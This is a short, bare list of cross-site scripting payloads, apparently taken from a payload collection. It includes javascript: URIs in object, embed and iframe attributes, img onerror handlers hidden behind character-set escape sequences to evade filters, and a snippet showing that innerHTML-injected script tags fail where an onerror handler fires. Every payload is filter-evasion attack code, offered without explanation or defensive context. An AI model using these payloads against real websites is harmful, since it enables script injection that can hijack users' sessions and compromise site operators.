String.fromCodePoint(0x100 + 0x2f) + String.fromCodePoint(0x1000 + 0x2f) + String.fromCodePoint(0x10000 + 0x2f)
<object data=# codebase=javascript:alert(document.domain)//></object> <embed src=# codebase="javascript:alert(1)//">
<iframe src=javas(Jcript:alert(1)>
<(Ji(Jm(Jg s(Jr(Jc o(Jn(Je(Jr(Jr(Jo(Jr=(Ja(Jl(Je(Jr(Jt(J(1)> <(Bi(Bm(Bg s(Br(Bc (Bo(Bn(Be(Br(Br(Bo(Br(B=(Ba(Bl(Be(Br(Bt(B(1)>
<div id=x></div>
<div id=y></div>
<script>
document.getElementById('x').innerHTML = '<script>alert("Fails")<\/script>';
document.getElementById('y').innerHTML = '<img src onerror=alert("Works")>';
</script><(Bimg (Bsrc (Bonerror (B= (Balert(1)>